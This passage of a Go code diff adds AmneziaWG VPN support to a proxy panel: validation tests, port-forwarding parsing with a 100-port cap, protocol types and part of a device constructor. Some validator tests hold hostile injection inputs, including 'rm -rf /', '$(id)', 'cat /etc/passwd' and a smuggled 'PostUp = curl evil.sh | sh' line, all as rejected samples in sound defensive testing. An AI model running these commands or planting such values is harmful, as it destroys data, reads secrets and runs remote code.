+	for field, set := range map[string]func(o *Obfuscation31){
+		"S1": func(o *Obfuscation31) { o.S1 = 11 },
+		"S2": func(o *Obfuscation31) { o.S2 = 11 },
+		"S3": func(o *Obfuscation31) { o.S3 = 11 },
+		"S4": func(o *Obfuscation31) { o.S4 = 11 },
+	} {
+		o := validObfuscation()
+		set(&o)
+		if err := ValidateObfuscation(o); err == nil {
+			t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
+		}
+	}
+	o := validObfuscation()
+	o.HeaderProtectionKey = ""
+	o.S3, o.S4 = 8, 4
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
+	o := validObfuscation()
+	o.S1 = 30
+	o.S2 = o.S1 + 56
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
+	}
+}
+
+func TestValidateObfuscationRejectsBadH(t *testing.T) {
+	cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
+	for _, h := range cases {
+		o := validObfuscation()
+		o.H1 = h
+		if err := ValidateObfuscation(o); err == nil {
+			t.Fatalf("H1 = %q must be rejected", h)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
+	o := validObfuscation()
+	o.HeaderProtectionKey = ""
+	o.ContentPaddingAddition = ""
+	o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
+	o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
+	o.RandomTrailers, o.DisableCookies = false, false
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
+	cases := []struct {
+		name   string
+		mutate func(o *Obfuscation31)
+	}{
+		{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
+		{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
+		{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
+		{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
+		{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
+		{"rekey max not below reject min", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "100-200"
+			o.RejectAfterTime = "200-300"
+		}},
+		{"single rekey value at reject min", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "180"
+			o.RejectAfterTime = "180-300"
+		}},
+		{"embedded newline splits the config line", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "110\n-140"
+			o.RejectAfterTime = "190-250"
+		}},
+		{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
+			o.RekeyAfterTime = ""
+			o.RejectAfterTime = "30-60"
+		}},
+		{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
+			o.RekeyAfterTime = "200-300"
+			o.RejectAfterTime = ""
+		}},
+	}
+	for _, c := range cases {
+		o := validObfuscation()
+		c.mutate(&o)
+		if err := ValidateObfuscation(o); err == nil {
+			t.Errorf("%s must be rejected", c.name)
+		}
+	}
+}
+
+func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
+	cases := []struct {
+		name string
+		key  string
+	}{
+		{"not base64", "not!!!base64"},
+		{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
+		{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
+		{"control characters", "AAAA\nBBBB"},
+		// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
+		// only the explicit control-character check can catch the line wrap.
+		{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
+	}
+	for _, c := range cases {
+		o := validObfuscation()
+		o.HeaderProtectionKey = c.key
+		if err := ValidateObfuscation(o); err == nil {
+			t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
+		}
+	}
+}
+
+func TestCanonicalizeUintRange(t *testing.T) {
+	cases := []struct{ in, want string }{
+		{"110 - 140", "110-140"},
+		{"  120  ", "120"},
+		{"   ", ""},
+		{"", ""},
+		{"110-140", "110-140"},
+	}
+	for _, c := range cases {
+		if got := CanonicalizeUintRange(c.in); got != c.want {
+			t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
+	o := validObfuscation()
+	o.ContentPaddingAddition = "32"
+	o.RekeyAfterTime = "120"
+	o.RejectAfterTime = "180"
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
+	}
+}
+
+func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
+	for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
+		if err := ValidateInterfaceName(name); err != nil {
+			t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
+		}
+	}
+}
+
+func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
+	cases := []string{
+		"eth0 -j ACCEPT; rm -rf /",
+		"eth0`whoami`",
+		"eth0$(id)",
+		"eth0|cat /etc/passwd",
+		"eth0\nMASQUERADE",
+		"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
+	}
+	for _, name := range cases {
+		if err := ValidateInterfaceName(name); err == nil {
+			t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
+		}
+	}
+}
+
+func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
+	cases := []struct {
+		ip   string
+		cidr int
+	}{
+		{"10.8.1.0", 24},
+		{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
+		{"192.168.5.10", 32},
+	}
+	for _, c := range cases {
+		if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
+			t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
+		}
+	}
+}
+
+func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
+	cases := []struct {
+		ip   string
+		cidr int
+	}{
+		{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
+		{"not-an-ip", 24},
+		{"", 24},
+		{"fd86::1", 64},  // IPv6, not IPv4
+		{"10.8.1.0", 33}, // cidr out of range
+	}
+	for _, c := range cases {
+		if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
+			t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
+		}
+	}
+}
+
+func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
+	for _, v := range []string{"", "[email protected]", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
+		if err := ValidateConfigValue("email", v); err != nil {
+			t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
+		}
+	}
+}
+
+func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
+	cases := []string{
+		"a@x\nPostUp = curl evil.sh | sh",
+		"a@x\r\n[Interface]",
+		"tab\there",
+		"a@x\x7f",
+	}
+	for _, v := range cases {
+		if err := ValidateConfigValue("email", v); err == nil {
+			t.Errorf("ValidateConfigValue(%q) must be rejected", v)
+		}
+	}
+}

+ 142 - 0
internal/amneziawg/portfwd.go

@@ -0,0 +1,142 @@
+package amneziawg
+
+import (
+	"fmt"
+	"sort"
+	"strconv"
+	"strings"
+)
+
+// portSpec is a single port (start == end) or an inclusive range start..end.
+type portSpec struct {
+	start int
+	end   int
+}
+
+// parseForwardedPorts splits a user-supplied string ("80, 443; 8000-8100")
+// into validated port specs. Tokens are separated by comma or semicolon;
+// whitespace is ignored. Invalid tokens are silently dropped — the input is
+// a free-form text field and validation is best-effort by design.
+func parseForwardedPorts(input string) []portSpec {
+	if input == "" {
+		return nil
+	}
+	input = strings.ReplaceAll(input, ";", ",")
+	tokens := strings.Split(input, ",")
+
+	var specs []portSpec
+	seen := make(map[string]struct{}, len(tokens))
+	for _, tok := range tokens {
+		tok = strings.TrimSpace(tok)
+		if tok == "" {
+			continue
+		}
+		spec, ok := parsePortToken(tok)
+		if !ok {
+			continue
+		}
+		key := fmt.Sprintf("%d-%d", spec.start, spec.end)
+		if _, dup := seen[key]; dup {
+			continue
+		}
+		seen[key] = struct{}{}
+		specs = append(specs, spec)
+	}
+	return specs
+}
+
+func parsePortToken(tok string) (portSpec, bool) {
+	if idx := strings.IndexByte(tok, '-'); idx >= 0 {
+		start, ok1 := parsePortNumber(strings.TrimSpace(tok[:idx]))
+		end, ok2 := parsePortNumber(strings.TrimSpace(tok[idx+1:]))
+		if !ok1 || !ok2 || start > end {
+			return portSpec{}, false
+		}
+		return portSpec{start: start, end: end}, true
+	}
+	p, ok := parsePortNumber(tok)
+	if !ok {
+		return portSpec{}, false
+	}
+	return portSpec{start: p, end: p}, true
+}
+
+func parsePortNumber(s string) (int, bool) {
+	n, err := strconv.Atoi(s)
+	if err != nil || n < 1 || n > 65535 {
+		return 0, false
+	}
+	return n, true
+}
+
+// ForwardedPortsInclude reports whether port is covered by any spec in a raw
+// ForwardedPorts string (a single port or an inclusive range). Used for
+// save-time validation that a client isn't about to hijack the panel's own
+// port or another inbound's port -- see
+// internal/web/service/inbound_amneziawg.go's port-conflict checks.
+//
+// Per-client port-forwarding is implemented by internal/amneziawgnet's
+// listener supervisor (PortForwardSet), which dials directly into the
+// embedded gVisor netstack toward the peer's tunnel-internal address --
+// the retired kernel-module architecture used PostUp/PostDown iptables DNAT
+// rules instead, which had no equivalent path once that architecture was
+// cut over; ExpandForwardedPorts below is what the supervisor uses to turn
+// a raw spec into the concrete ports it listens on.
+func ForwardedPortsInclude(forwardedPorts string, port int) bool {
+	for _, spec := range parseForwardedPorts(forwardedPorts) {
+		if port >= spec.start && port <= spec.end {
+			return true
+		}
+	}
+	return false
+}
+
+// MaxForwardedPorts caps how many unique ports a single client's
+// ForwardedPorts spec can expand to. internal/amneziawgnet's listener
+// supervisor opens up to two real sockets (TCP+UDP) per port, so this bounds
+// worst-case file descriptor usage to a fixed, sane amount regardless of how
+// large a stored spec claims to be -- a legacy or hand-edited "1-65535"
+// costs exactly the same as "1-100" once expansion stops at the cap.
+const MaxForwardedPorts = 100
+
+// ExpandForwardedPorts parses forwardedPorts the same way
+// ForwardedPortsInclude does and returns every unique port it covers, in
+// ascending order, capped at MaxForwardedPorts. Expansion stops the instant
+// the cap is reached rather than expanding fully and truncating afterward,
+// so this is safe to call unconditionally against arbitrary -- including
+// pre-existing, pre-cap -- stored data.
+func ExpandForwardedPorts(forwardedPorts string) []int {
+	return expandForwardedPorts(forwardedPorts, MaxForwardedPorts)
+}
+
+// ExceedsForwardedPortsCap reports whether forwardedPorts covers strictly
+// more than MaxForwardedPorts unique ports -- unlike comparing
+// len(ExpandForwardedPorts(...)) to the cap, which can never tell "exactly
+// at the cap" apart from "over it" since that expansion already truncates
+// there.
+func ExceedsForwardedPortsCap(forwardedPorts string) bool {
+	return len(expandForwardedPorts(forwardedPorts, MaxForwardedPorts+1)) > MaxForwardedPorts
+}
+
+// expandForwardedPorts is ExpandForwardedPorts with an explicit stop-count,
+// so ExceedsForwardedPortsCap can probe one past the real cap without
+// expanding an arbitrarily large legacy spec in full.
+func expandForwardedPorts(forwardedPorts string, limit int) []int {
+	seen := make(map[int]struct{}, limit)
+	ports := make([]int, 0, limit)
+outer:
+	for _, spec := range parseForwardedPorts(forwardedPorts) {
+		for p := spec.start; p <= spec.end; p++ {
+			if len(ports) >= limit {
+				break outer
+			}
+			if _, dup := seen[p]; dup {
+				continue
+			}
+			seen[p] = struct{}{}
+			ports = append(ports, p)
+		}
+	}
+	sort.Ints(ports)
+	return ports
+}

+ 102 - 0
internal/amneziawg/portfwd_test.go

@@ -0,0 +1,102 @@
+package amneziawg
+
+import (
+	"fmt"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+)
+
+func TestForwardedPortsInclude(t *testing.T) {
+	cases := []struct {
+		spec string
+		port int
+		want bool
+	}{
+		{"80,443", 80, true},
+		{"80,443", 443, true},
+		{"80,443", 8080, false},
+		{"8000-8100", 8050, true},
+		{"8000-8100", 7999, false},
+		{"8000-8100", 8101, false},
+		{"", 80, false},
+		{"not-a-port", 80, false},
+	}
+	for _, c := range cases {
+		if got := ForwardedPortsInclude(c.spec, c.port); got != c.want {
+			t.Errorf("ForwardedPortsInclude(%q, %d) = %v, want %v", c.spec, c.port, got, c.want)
+		}
+	}
+}
+
+func TestExpandForwardedPorts(t *testing.T) {
+	cases := []struct {
+		name string
+		spec string
+		want []int
+	}{
+		{"empty", "", nil},
+		{"malformed", "not-a-port", nil},
+		{"single ports", "443,80", []int{80, 443}},
+		{"a range", "8000-8003", []int{8000, 8001, 8002, 8003}},
+		{
+			"overlapping-but-distinct ranges dedupe and merge",
+			"80-90,85-95",
+			[]int{80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95},
+		},
+		{"mixed single ports and a range, unsorted input", "443,80-82,80", []int{80, 81, 82, 443}},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			got := ExpandForwardedPorts(c.spec)
+			if len(got) == 0 && len(c.want) == 0 {
+				return
+			}
+			if !reflect.DeepEqual(got, c.want) {
+				t.Errorf("ExpandForwardedPorts(%q) = %v, want %v", c.spec, got, c.want)
+			}
+		})
+	}
+}
+
+func TestExpandForwardedPortsCapsAtMaxForwardedPorts(t *testing.T) {
+	got := ExpandForwardedPorts("1-200")
+	if len(got) != MaxForwardedPorts {
+		t.Fatalf("len(ExpandForwardedPorts(\"1-200\")) = %d, want %d", len(got), MaxForwardedPorts)
+	}
+	for i, port := range got {
+		if want := i + 1; port != want {
+			t.Fatalf("ExpandForwardedPorts(\"1-200\")[%d] = %d, want %d (expansion must stop at the cap, not truncate after expanding fully)", i, port, want)
+		}
+	}
+}
+
+func TestExpandForwardedPortsCapAppliesAcrossMultipleSpecs(t *testing.T) {
+	// A spec whose total span far exceeds the cap, split across many
+	// individually-small tokens -- proves the cap is enforced cumulatively
+	// across specs, not reset (or bypassed) per spec.
+	tokens := make([]string, 150)
+	for i := range tokens {
+		tokens[i] = strconv.Itoa(10000 + i)
+	}
+	spec := strings.Join(tokens, ",")
+	got := ExpandForwardedPorts(spec)
+	if len(got) != MaxForwardedPorts {
+		t.Fatalf("len(ExpandForwardedPorts(150 distinct single ports)) = %d, want %d", len(got), MaxForwardedPorts)
+	}
+}
+
+func TestExceedsForwardedPortsCap(t *testing.T) {
+	atCap := fmt.Sprintf("1-%d", MaxForwardedPorts)
+	if ExceedsForwardedPortsCap(atCap) {
+		t.Fatalf("a spec covering exactly %d ports is AT the cap, not over it", MaxForwardedPorts)
+	}
+	overCap := fmt.Sprintf("1-%d", MaxForwardedPorts+1)
+	if !ExceedsForwardedPortsCap(overCap) {
+		t.Fatalf("a spec covering %d ports must be reported as exceeding the cap", MaxForwardedPorts+1)
+	}
+	if ExceedsForwardedPortsCap("1-10") {
+		t.Fatal("a small spec must not be reported as exceeding the cap")
+	}
+}

+ 245 - 0
internal/amneziawg/types.go

@@ -0,0 +1,245 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
+// pure functions that derive an Instance from a stored inbound row. It has
+// no OS dependency of its own: internal/amneziawgnet embeds amneziawg-go
+// over a gVisor netstack and owns the actual running interfaces, one
+// Manager-managed Device per desired Instance -- see that package's Manager
+// for the reconcile-on-tick lifecycle (modeled on internal/mtproto's own
+// Manager), and instance.go's own doc comment for how this package's role
+// narrowed to protocol-shape-only after the kernel-module (DKMS) + awg-quick
+// architecture this fork originally shipped was retired.
+package amneziawg
+
+import "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+
+// Obfuscation31 is an AmneziaWG 3.1 obfuscation parameter set (junk packets,
+// padding, magic headers, the five CPS signature-packet slots, and the 3.x
+// header-protection/content-padding/timing/boolean fields). The same values
+// must be applied on both ends of a tunnel, so the server stores them and
+// every client config inherits them verbatim.
+type Obfuscation31 struct {
+	Jc   int    `json:"jc"`
+	Jmin int    `json:"jmin"`
+	Jmax int    `json:"jmax"`
+	S1   int    `json:"s1"`
+	S2   int    `json:"s2"`
+	S3   int    `json:"s3"`
+	S4   int    `json:"s4"`
+	H1   string `json:"h1"`
+	H2   string `json:"h2"`
+	H3   string `json:"h3"`
+	H4   string `json:"h4"`
+	// I1-I5 are the real protocol's five CPS signature-packet slots
+	// (confirmed against amneziawg-go v3.0.3's device/uapi.go: "i1"
+	// through "i5" are five independent UAPI setters, device.ipackets[0..4],
+	// all parsed via the identical newObfChain grammar).
+	I1 string `json:"i1,omitempty"`
+	I2 string `json:"i2,omitempty"`
+	I3 string `json:"i3,omitempty"`
+	I4 string `json:"i4,omitempty"`
+	I5 string `json:"i5,omitempty"`
+
+	// HeaderProtectionKey is a base64 32-byte key shared by both ends; the
+	// ranges/booleans below are 3.x-only and optional.
+	HeaderProtectionKey    string `json:"headerProtectionKey,omitempty"`
+	ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+	RekeyAfterTime         string `json:"rekeyAfterTime,omitempty"`
+	RekeyTimeout           string `json:"rekeyTimeout,omitempty"`
+	RejectAfterTime        string `json:"rejectAfterTime,omitempty"`
+	KeepaliveTimeout       string `json:"keepaliveTimeout,omitempty"`
+	MaxHandshakeAttempts   string `json:"maxHandshakeAttempts,omitempty"`
+	RandomTrailers         bool   `json:"randomTrailers,omitempty"`
+	DisableCookies         bool   `json:"disableCookies,omitempty"`
+}
+
+// Peer is one desired AmneziaWG peer: a client device the interface accepts.
+// Email attributes traffic and online status back to the owning client, the
+// same role SecretEntry.Name plays for mtproto.
+type Peer struct {
+	Email        string
+	PublicKey    string
+	PresharedKey string
+	AllowedIPs   []string
+
+	// ForwardedPorts is a raw, user-supplied port list ("80, 443, 8000-8100")
+	// forwarded to this peer's tunnel address by internal/amneziawgnet's
+	// PortForwardSet listener supervisor. Empty means no port-forwarding.
+	ForwardedPorts string
+}
+
+// Instance is the desired runtime configuration of one AmneziaWG inbound: a
+// single interface (e.g. awg1) with a set of peers, mirroring how one mtproto
+// inbound maps to one mtg process (internal/mtproto.Instance).
+type Instance struct {
+	Id            int
+	Tag           string
+	InterfaceName string
+	ListenPort    int
+	PrivateKey    string
+	PublicKey     string
+	// Address holds the interface's own tunnel address(es), e.g. "10.8.1.1/24".
+	// Carries both the IPv4 and (when enabled) IPv6 server address.
+	Address []string
+	MTU     int
+
+	// Obfuscation carries the full AmneziaWG 3.1 parameter set, including
+	// the 3.x header-protection/content-padding/timing/boolean fields (see
+	// Obfuscation31's own doc comment) -- amneziawgnet.DeviceOptions is
+	// what actually consumes it when building the embedded Device's UAPI
+	// config.
+	Obfuscation Obfuscation31
+
+	Peers []Peer
+
+	// ExternalInterface named the host NIC PostUp/PostDown NAT rules
+	// attached to under the retired kernel-module architecture. Also the
+	// fallback host NIC internal/amneziawgnet's IPv6-address-alias
+	// mechanism (desiredV6Aliases) uses when IPv6ExternalInterface is left
+	// blank.
+	ExternalInterface string
+
+	// IPv6Enabled/IPv6ExternalInterface gate internal/amneziawgnet's
+	// IPv6-address-alias mechanism (desiredV6Aliases,
+	// internal/web/service/xray.go's injectAmneziawgV6Egress): each peer
+	// with an IPv6 AllowedIPs entry gets that address aliased onto this
+	// host NIC (ip -6 addr add) and a dedicated Xray freedom outbound bound
+	// to it, giving that peer's own outbound connections a distinct public
+	// source identity. Narrower in scope than these identically-named
+	// fields' role under the retired kernel-module architecture, which used
+	// per-peer NDP-proxy entries (ip -6 neigh add proxy) to also support
+	// unsolicited inbound connections toward the peer -- that capability is
+	// the separate, not-yet-built Phase 3.6 (port-forwarding).
+	IPv6Enabled           bool
+	IPv6ExternalInterface string
+
+	// RouteThroughXray gated the kernel-module architecture's opt-in
+	// TPROXY-into-Xray bridge. The embedded path (internal/amneziawgnet)
+	// has no equivalent opt-in at all -- every peer's traffic already goes
+	// through Xray's own SOCKS5 inbound unconditionally, since there's no
+	// other way for decapsulated gVisor traffic to reach the real internet
+	// -- so this field is now vestigial: read from existing stored settings
+	// for backward compatibility, but not acted on by anything. Slated for
+	// removal alongside the frontend toggle in a follow-up.
+	RouteThroughXray bool
+}
+
+// ServerSettings is the "server" block of an AmneziaWG inbound's Settings
+// JSON: the interface-level configuration shared by every client/peer. The
+// listen port is deliberately not duplicated here — it lives on the inbound
+// row itself (Inbound.Port), like every other protocol.
+type ServerSettings struct {
+	PrivateKey string `json:"privateKey"`
+	PublicKey  string `json:"publicKey"`
+
+	SubnetIP   string `json:"subnetIp"`
+	SubnetCIDR int    `json:"subnetCidr"`
+	MTU        int    `json:"mtu,omitempty"`
+
+	// PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is
+	// meaningful, so no omitempty: a dropped key resurrects frontend defaults.
+	PrimaryDNS   string `json:"primaryDns"`
+	SecondaryDNS string `json:"secondaryDns"`
+
+	// ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live
+	// again as of Phase 3.5 -- see the matching fields on Instance for what
+	// they gate (internal/amneziawgnet's IPv6-address-alias mechanism).
+	// IPv6Subnet was never actually vestigial either: InstanceFromInbound
+	// already consumes it (via serverAddressV6) to build the server's own
+	// tunnel address, same as always. Only RouteThroughXray, below, remains
+	// genuinely vestigial as of the hard cutover to the embedded path
+	// (internal/amneziawgnet) -- read from existing stored settings for
+	// backward compatibility, but not acted on by anything.
+	ExternalInterface string `json:"externalInterface,omitempty"`
+
+	IPv6Enabled           bool   `json:"ipv6Enabled,omitempty"`
+	IPv6Subnet            string `json:"ipv6Subnet,omitempty"`
+	IPv6ExternalInterface string `json:"ipv6ExternalInterface,omitempty"`
+
+	RouteThroughXray bool `json:"routeThroughXray,omitempty"`
+
+	// Obfuscation31's fields, repeated flat (not embedded) rather than
+	// nested under their own key: encoding/json would happily inline an
+	// embedded Obfuscation31 the same way, but the frontend's Go->Zod/TS
+	// generator (tools/openapigen) does not — it emits a genuinely nested
+	// `obfuscation31` object, which would silently diverge from the real
+	// wire JSON. See Obfuscation() below for the manager-facing conversion.
+	Jc   int    `json:"jc"`
+	Jmin int    `json:"jmin"`
+	Jmax int    `json:"jmax"`
+	S1   int    `json:"s1"`
+	S2   int    `json:"s2"`
+	S3   int    `json:"s3"`
+	S4   int    `json:"s4"`
+	H1   string `json:"h1"`
+	H2   string `json:"h2"`
+	H3   string `json:"h3"`
+	H4   string `json:"h4"`
+	I1   string `json:"i1,omitempty"`
+	I2   string `json:"i2,omitempty"`
+	I3   string `json:"i3,omitempty"`
+	I4   string `json:"i4,omitempty"`
+	I5   string `json:"i5,omitempty"`
+
+	// HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0
+	// fields, flat and top-level for the same tools/openapigen reason as
+	// the block above; Obfuscation() below folds them back into
+	// Obfuscation31's own identically named fields.
+	// HeaderProtectionKey is a base64 32-byte key; empty (the default)
+	// disables AWG 3.0 header protection. A non-empty value requires
+	// every one of S1-S4 above to be >= 12 -- ValidateObfuscation
+	// enforces this at save time, not just at IpcSet time.
+	// ContentPaddingAddition is a "low-high" range or bare integer, the
+	// same grammar and uint32 cap as H1-H4.
+	HeaderProtectionKey    string `json:"headerProtectionKey,omitempty"`
+	ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+
+	// RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/
+	// MaxHandshakeAttempts mirror Instance's identically named fields --
+	// see that type's own doc comment for the grammar/width/real-default
+	// details. Flat and top-level for the same tools/openapigen reason as
+	// the rest of this struct.
+	RekeyAfterTime       string `json:"rekeyAfterTime,omitempty"`
+	RekeyTimeout         string `json:"rekeyTimeout,omitempty"`
+	RejectAfterTime      string `json:"rejectAfterTime,omitempty"`
+	KeepaliveTimeout     string `json:"keepaliveTimeout,omitempty"`
+	MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
+
+	// RandomTrailers/DisableCookies mirror Instance's identically named
+	// AmneziaWG 3.1 fields -- see that type's own doc comment for the real
+	// protocol/interop details. Both real bool fields (not omitempty):
+	// buildUAPIConfig always emits both lines explicitly so the
+	// reconfigure-in-place diff correctly notices a true->false edit, not
+	// just false->true.
+	RandomTrailers bool `json:"randomTrailers"`
+	DisableCookies bool `json:"disableCookies"`
+}
+
+// Obfuscation extracts the Obfuscation31 parameter set from a ServerSettings
+// block, for callers (the Manager, ValidateObfuscation) that want the
+// grouped type rather than the flat wire fields.
+func (s ServerSettings) Obfuscation() Obfuscation31 {
+	return Obfuscation31{
+		Jc: s.Jc, Jmin: s.Jmin, Jmax: s.Jmax,
+		S1: s.S1, S2: s.S2, S3: s.S3, S4: s.S4,
+		H1: s.H1, H2: s.H2, H3: s.H3, H4: s.H4,
+		I1: s.I1, I2: s.I2, I3: s.I3, I4: s.I4, I5: s.I5,
+		HeaderProtectionKey:    s.HeaderProtectionKey,
+		ContentPaddingAddition: s.ContentPaddingAddition,
+		RekeyAfterTime:         s.RekeyAfterTime,
+		RekeyTimeout:           s.RekeyTimeout,
+		RejectAfterTime:        s.RejectAfterTime,
+		KeepaliveTimeout:       s.KeepaliveTimeout,
+		MaxHandshakeAttempts:   s.MaxHandshakeAttempts,
+		RandomTrailers:         s.RandomTrailers,
+		DisableCookies:         s.DisableCookies,
+	}
+}
+
+// InboundSettings is the full Settings JSON shape stored on an AmneziaWG
+// inbound row: one server block plus the usual generic client list, so bulk
+// operations, the QR modal and subscriptions all come from the same shared
+// infrastructure every other protocol uses.
+type InboundSettings struct {
+	Server  *ServerSettings `json:"server"`
+	Clients []model.Client  `json:"clients"`
+}

+ 274 - 0
internal/amneziawgnet/device.go

@@ -0,0 +1,274 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"strings"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// defaultMTU matches internal/amneziawg's own kernel-module interface
+// default -- 1420, WireGuard/AmneziaWG's usual accounting for tunnel
+// encapsulation overhead on a standard 1500-byte-MTU host link.
+const defaultMTU = 1420
+
+// DeviceOptions carries AmneziaWG 3.0's device-wide fields (header
+// protection, content padding, and the five session-timing knobs) --
+// mirrored from amneziawg.Instance's identically named fields by every
+// caller (see the 3 Desired{} call sites), not read from Instance
+// directly, since amneziawgnet has no dependency on internal/amneziawg
+// beyond the plain data types it already imports. Zero-value DeviceOptions
+// means amneziawg-go's own real-protocol defaults throughout: classic
+// (non-3.0) obfuscation, and its built-in session timings (120s/5s/180s/
+// 10s/18 attempts -- device/constants.go).
+type DeviceOptions struct {
+	// HeaderProtectionKey is a base64 32-byte key. Empty disables AWG 3.0
+	// header protection entirely. Non-empty requires every one of
+	// Obfuscation31.S1-S4 to be >= 12 (amneziawg-go's own HeaderCipherNonceSize
+	// requirement) -- IpcSet will reject the config otherwise.
+	HeaderProtectionKey string
+	// ContentPaddingAddition, RekeyAfterTime, RekeyTimeout, RejectAfterTime,
+	// KeepaliveTimeout, and MaxHandshakeAttempts are each a "low-high" range
+	// (or a bare integer), amneziawg-go's own UintRange.FromString grammar
+	// (confirmed directly against v3.0.3's device/uapi.go -- all six share
+	// the identical parser). Empty leaves that one field at amneziawg-go's
+	// own default.
+	ContentPaddingAddition string
+	RekeyAfterTime         string
+	RekeyTimeout           string
+	RejectAfterTime        string
+	KeepaliveTimeout       string
+	MaxHandshakeAttempts   string
+	// RandomTrailers and DisableCookies are AmneziaWG 3.1's two device-wide
+	// bool toggles (confirmed against amneziawg-go v3.1.20260814's
+	// device/uapi.go: "random_trailers"/"disable_cookies", both
+	// strconv.ParseBool). Unlike the string fields above, buildUAPIConfig
+	// emits these unconditionally on every call -- a bool has no "absent"
+	// value to gate on, and always emitting both means the reconfigure-
+	// in-place diff correctly notices a true->false edit, not just
+	// false->true. RandomTrailers requires the peer to also run AmneziaWG
+	// 3.1+ with it enabled: amneziawg-go's own receive path only accepts
+	// an oversized (trailer-padded) packet when the RECEIVING side's own
+	// RandomTrailers is also true, so a one-sided setting makes that
+	// side's packets start getting silently dropped by the other.
+	// DisableCookies is purely local (no peer-side coordination needed)
+	// but trades away WireGuard's handshake-flood DoS-protection cookie
+	// replies for a less distinctive packet shape during a flood.
+	RandomTrailers bool
+	DisableCookies bool
+	// Logger is passed to device.NewDevice as-is; nil uses a silent logger
+	// (device.NewLogger(device.LogLevelSilent, "")).
+	Logger *device.Logger
+}
+
+// Device is one running embedded AmneziaWG interface: an amneziawg-go
+// Device over a gVisor netstack, plus the raw *stack.Stack a caller needs to
+// attach a TCP/UDP forwarder (see forwarder.go / udp.go). Closing it tears
+// down both the WireGuard device and the underlying tun/stack.
+type Device struct {
+	*device.Device
+	Stack *stack.Stack
+}
+
+// NewDevice constructs, configures, and brings up an embedded AmneziaWG
+// interface for inst in one call: a gVisor-backed tun.Device sized to
+// inst.MTU (or defaultMTU), addressed with inst.Address, configured via
+// UAPI with inst.Obfuscation, inst.PrivateKey, opts' AWG 3.0 fields, and one
+// UAPI peer per inst.Peers entry. It does not attach a forwarder or start
